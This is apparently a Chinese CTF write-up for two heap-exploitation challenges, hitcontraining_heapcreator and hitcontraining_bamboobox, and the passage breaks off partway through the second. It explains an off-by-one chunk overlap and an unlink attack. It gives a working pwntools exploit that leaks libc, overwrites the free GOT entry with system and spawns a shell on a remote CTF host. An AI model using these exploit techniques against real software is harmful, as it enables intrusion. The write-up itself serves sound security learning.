目录
hitcontraining_heapcreator
考虑修改GOT表
在edit函数中可以溢出一个byte
这题需要利用堆重叠的方法,因为free之后会置空,只能利用堆重叠进行重复分配
利用思路如下:
- 先申请三个heap,其中heap[0]的内容大小为8的奇数倍
- 使用edit溢出修改heap[1]的chunk的size,把heap[2]的内容部分包括进去
- delete heap[1],然后申请同样大小的一个块
- 此时使用edit把heap[2]的content指针改为free的got表
- show heap[2],得到Libc基地址,计算system地址
- 把free GOT改为system的地址
Exp:
from pwn import *
from LibcSearcher import *
def add(size, content):
print r.recvuntil("Your choice :")
r.sendline('1')
print r.recvuntil("Size of Heap : ")
r.sendline(str(size))
print r.recvuntil("Content of heap:")
r.send(content)
def delete(index):
print r.recvuntil("Your choice :")
r.sendline('4')
print r.recvuntil("Index :")
r.sendline(str(index))
def edit(index, content):
print r.recvuntil("Your choice :")
r.sendline('2')
print r.recvuntil("Index :")
r.sendline(str(index))
print r.recvuntil("Content of heap : ")
r.send(content)
def show(index):
print r.recvuntil("Your choice :")
r.sendline('3')
print r.recvuntil("Index :")
r.sendline(str(index))
r = remote("node3.buuoj.cn", 26329)
#r = process("./hitcontraining_heapcreator")
#context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x400D60
c
''')
context(arch = "amd64", os = 'linux')
elf = ELF("./hitcontraining_heapcreator")
free_got = elf.got['free']
add(0x18, 'a\n')
add(0x10, 'a\n')
add(0x10, 'a\n')
payload = '/bin/sh\x00' + 'a' * 0x10 + '\x81'
edit(0, payload)
delete(1)
payload = p64(0) * 8 + p64(8) + p64(free_got)
add(0x70, payload)
show(2)
print r.recvuntil("Content : ")
free_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc = LibcSearcher("free", free_addr)
libc_base = free_addr - libc.dump("free")
system = libc_base + libc.dump("system")
success("free:" + hex(free_addr))
success("system:" + hex(system))
edit(2, p64(system))
delete(0)
r.interactive()
hitcontraining_bamboobox
依然考虑修改GOT表
这题的漏洞在edit函数中,可以进行堆溢出,本题考虑使用unlink攻击
利用思路如下
- 申请四个item,其中item[3]的内容为/bin/sh
- 编辑item[1],溢出修改item[2]把item[1]的chunk状态变为空闲,并在item[1]中伪造chunk,大小为0x30,把fd变为itemlist-0x18,bk变为itemlist-0x10
- 释放item[2],此时item[1]就指向itemlist
- 把tem[0]改为free的got表,泄露,修改
Exp:
from pwn import *
def add(size, content):
print r.recvuntil("Your choice:")
r.sendline('2')
print r.recvuntil("Please enter the length of item name:")
r.sendline(str(size))
print r.recvuntil("Please enter the name of item:")
r.send(content)
def edit(index, size, content):
print r.recvuntil("Your choice:")
r